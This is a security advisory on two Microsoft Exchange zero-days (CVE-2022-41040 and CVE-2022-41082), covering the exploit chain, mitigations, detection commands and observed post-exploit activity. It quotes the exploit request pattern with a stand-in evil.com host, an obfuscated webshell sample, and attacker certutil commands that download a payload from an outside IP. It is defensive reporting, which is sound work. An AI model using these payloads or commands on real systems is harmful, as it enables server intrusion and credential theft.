Security Advisory 2022-068

New Microsoft Exchange Zero-Day Vulnerabilities

October 10, 2022 — v1.3

TLP:WHITE

History:

- *30/09/2022 — v1.0 – Initial publication*
- *04/10/2022 — v1.1 – Updates with new insights and recommendations*
- *06/10/2022 — v1.2 – Updates recommendations to mitigate additional bypass*
- *10/10/2022 — v1.3 – Updated URL rewrite rule*

Summary

On September 28, 2022, the security researchers at Vietnamese cybersecurity vendor **GTSC** published a blog post claiming they have discovered an attack campaign which utilised two zero-day bugs in **Microsoft Exchange** that could allow an attacker a remote code execution. The attackers are chaining the pair of zero-days to deploy web shells, notably China Choppers, on compromised servers for persistence and data theft, as well as move laterally to other systems on the victims' networks [1, 2].

Microsoft had identified the vulnerabilities as **CVE-2022-41040**, a Server-Side Request Forgery (SSRF) vulnerability, while the second, identified as **CVE-2022-41082**, allows remote code execution (RCE) when PowerShell is accessible to the attacker [3].

Technical Details

At this time, Microsoft is aware of limited targeted attacks using the two vulnerabilities to get into users' systems. In these attacks, **CVE-2022-41040** can enable an authenticated attacker to remotely trigger **CVE-2022-41082**. It should be noted that **authenticated access** to the vulnerable **Exchange Server** is necessary to successfully exploit either of the two vulnerabilities [3].

The **GTSC** researchers reported the security vulnerabilities to **Microsoft** privately three weeks ago through the **Zero Day Initiative**, which tracks them as **ZDI-CAN-18333**[1] and **ZDI-CAN-18802**[2] after its analysts validated the issues.

> *"GTSC submitted the vulnerability to the **Zero Day Initiative** (ZDI) right away to work with **Microsoft** so that a patch could be prepared as soon as possible. **ZDI** verified and*

[1] https://www.zerodayinitiative.com/advisories/upcoming/#:~:text=by%3A%20Marcin%20Wiazowski-,ZDI%2DCAN%2D18333,-Microsoft

[2] https://www.zerodayinitiative.com/advisories/upcoming/#:~:text=Zero%20Day%20Initiative-,ZDI%2DCAN%2D18802,-Microsoft

*acknowledged 2 bugs, whose CVSS scores are **8.8** and **6.3**."*

GTSC has released very few details regarding these zero-day bugs. Still, its researchers did reveal that the requests used in this exploit chain are similar to those used in attacks targeting the **ProxyShell vulnerabilities**.

The exploit works in two stages:

1. Requests with a similar format to the ProxyShell vulnerability:

```
autodiscover/autodiscover.json?@evil.com/<Exchange-backend-
  endpoint>&Email=autodiscover/autodiscover.json%3f@evil.com.
```

2. The use of the link above to access a component in the back-end, where the RCE could be implemented.

   "The version number of these Exchange servers showed that the latest update had already installed, so an exploitation using Proxyshell vulnerability was impossible," the researchers said. [2]

Recommendations

Microsoft Exchange Online Customers do not need to take any action. On premises Microsoft Exchange customers should review and apply the following URL Rewrite Instructions and block exposed Remote PowerShell ports. Organisations with hybrid setup should also apply the mitigations until a patch is released.

Updates of 04/10/2022

The published URL rewrite mitigation appears to be not sufficient and can be bypassed with little effort [4, 5]. **A new URL rewrite pattern is provided below in point 2. Additionally, Microsoft recommands to disable remote Powershell access for non-admin users** [3, 6].

Updates of 06/10/2022

The updated URL rewrite mitigation can also be bypassed by decoding the URL using the percent-encoding mechanism [7, 8]. **To prevent this, use the `UrlDecode` function, as provided below in point 3**.

Updates of 10/10/2022

Microsoft updated the URL rewrite rule to prevent additional bypass possibilities [3]. **The new URL rewrite patter is provided below in point 2**.

One of the mitigations is to add a blocking rule in *"IIS Manager -> Default Web Site -> Autodiscover -> URL Rewrite -> Actions"* to block the known attack patterns.

Also, GTSC shared a temporary mitigation that would block attack attempts by adding a new IIS server rule using the URL Rewrite Rule module:

1. In *Autodiscover* at *FrontEnd*, select tab *URL Rewrite*, and then *Request Blocking*.
2. Add string `"(?=.*autodiscover)(?=.*powershell)"` to the URL Path.
3. Condition input: *Choose* `{UrlDecode:{REQUEST_URI}}`

Admins who want to check if their Exchange servers have already been compromised using this exploit can run the following PowerShell command to scan IIS log files for indicators of compromise:

```
Get-ChildItem -Recurse -Path <Path_IIS_Logs> -Filter "*.log" | Select-String -Pattern
  'powershell.*autodiscover\.json.*\@.*200'
```

Authenticated attackers who can access PowerShell Remoting on vulnerable Exchange systems will be able to trigger RCE using CVE-2022-41082. Blocking the ports used for Remote PowerShell can limit these attacks [3].

- HTTP: 5985
- HTTPS: 5986

Observed Post-Exploit Activities

This section summarises the observed post-exploit activities related to this exploits chain. It is worth mentioning that detection should not be solely based on these as additional malicious activities could be achieved through these vulnerabilities.

GTSC collected information about the post-exploit activities, detecting webshells, mostly obfuscated, being dropped to Exchange servers. Using the user-agent, they detected that the attacker uses *Antsword*, an active Chinese-based open source cross-platform website administration tool that supports webshell management [2].

Below is an example of installed webshell.

```
<%@Page Language="Jscript"%>
<%eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('NTcyM'+
  'jk3O3'+'ZhciB'+'zYWZl'+''+'P'+'S'+char(837-763)+System.Text.Encoding.GetEncoding(936).GetStr
  ing(System.Convert.FromBase64String('MQ==')+char(51450/525)+''+''+char(0640-0462)+char(0x8c2
  8/0x1cc)+char(0212100/01250)+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.F
  romBase64String('Wg==')+'m'+''+'UiO2V'+'2YWwo'+'UmVxd'+'WVzdC'+'5JdGV'+'tWydF'+'WjBXS'+'WFtR
  G'+'Z6bU8'+'xajhk'+'J10sI'+'HNhZm'+'UpOzE'+'3MTY4'+'OTE7'+'')));%>
```

Another notable feature is that the attacker also changes the content of the file `RedirSuiteServiceProxy.aspx` to webshell content. `RedirSuiteServiceProxy.aspx` is a legitimate file name available in the **Exchange** server.

FileName	Path
`RedirSuiteServiceProxy.aspx`	`C:\ProgramFiles\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth`
`Xml.ashx`	`C:\inetpub\wwwroot\aspnet_client`
`pxh4HG1v.ashx`	`C:\ProgramFiles\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth`

GTSC noted that the attack team used another webshell template for another attack:

- Filename: `errorEE.aspx`
- SHA256: `be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257`
- Reference: https://github.com/antonioCoco/SharPyShell

Command Execution

Besides collecting information on the system, the attacker downloads files, and checks connections through **certutil**, which is a legitimate tool available in the **Windows** environment.

```
"cmd" /c cd /d "c:\\PerfLogs"&certutil.exe -urlcache -split -f
  http://206.188.196.77:8080/themes.aspx c:\perflogs\t&echo [S]&cd&echo [E]

"cmd" /c cd /d "c:\\PerfLogs"&certutil.exe -urlcache -split -f https://httpbin.org/get
  c:\test&echo [S]&cd&echo [E]
```

It should be noted that every command ends with the string echo `[S]&cd&echo [E]`, which is one of the signatures of the *Chinese Chopper*.

In addition, the hacker also injects malicious DLLs into the memory, drops suspicious files on the attacked servers, and executes these files through **WMIC**.

Suspicious File

On the servers, GTSC detected suspicious files of **exe** and **dll** formats

FileName	Path
`DrSDKCaller.exe`	`C:\root\DrSDKCaller.exe`
`all.exe`	`C:\Users\Public\all.exe`
`dump.dll`	`C:\Users\Public\dump.dll`
`ad.exe`	`C:\Users\Public\ad.exe`
`gpg-error.exe`	`C:\PerfLogs\gpg-error.exe`
`cm.exe`	`C:\PerfLogs\cm.exe`
`msado32.tlb`	`C:\Program Files\Common Files\system\ado\msado32.tlb`

Among the suspect files, based on the commands executed on the server, they have determined that `all.exe` and `dump.dll` are responsible for credentials dumping on the server system. After that, the attacker uses `rar.exe` to compress dumped files and copy them to the webroot of the Exchange server. It seems that the attacker is deleting the evidence, as during the response process, the above file no longer exists on the compromised system [2].

The `cm.exe` file that is dropped into the `C:\PerfLogs\` folder is the standard Windows command line tool `cmd.exe`.

References

[1] https://www.bleepingcomputer.com/news/security/new-microsoft-exchange-zero-days-actively-exploited-in-attacks/

[2] https://www.gteltsc.vn/blog/warning-new-attack-campaign-utilized-a-new-0day-rce-vulnerability-on-microsoft-exchange-server-12715.html

[3] https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/

[4] https://twitter.com/testanull/status/1576774007826718720/

[5] https://www.bleepingcomputer.com/news/security/microsoft-exchange-server-zero-day-mitigation-can-be-bypassed/

[6] https://learn.microsoft.com/en-us/powershell/exchange/control-remote-powershell-access-to-exchange-servers?view=exchange-ps&viewFallbackFrom=exchange-ps%22%20%5Cl%20%22use-the-exchange-management-shell-to-enable-or-disable-remote-powershell-access-for-a-user

[7] https://twitter.com/wdormann/status/1577667670048120833

[8] https://www.rfc-editor.org/rfc/rfc3986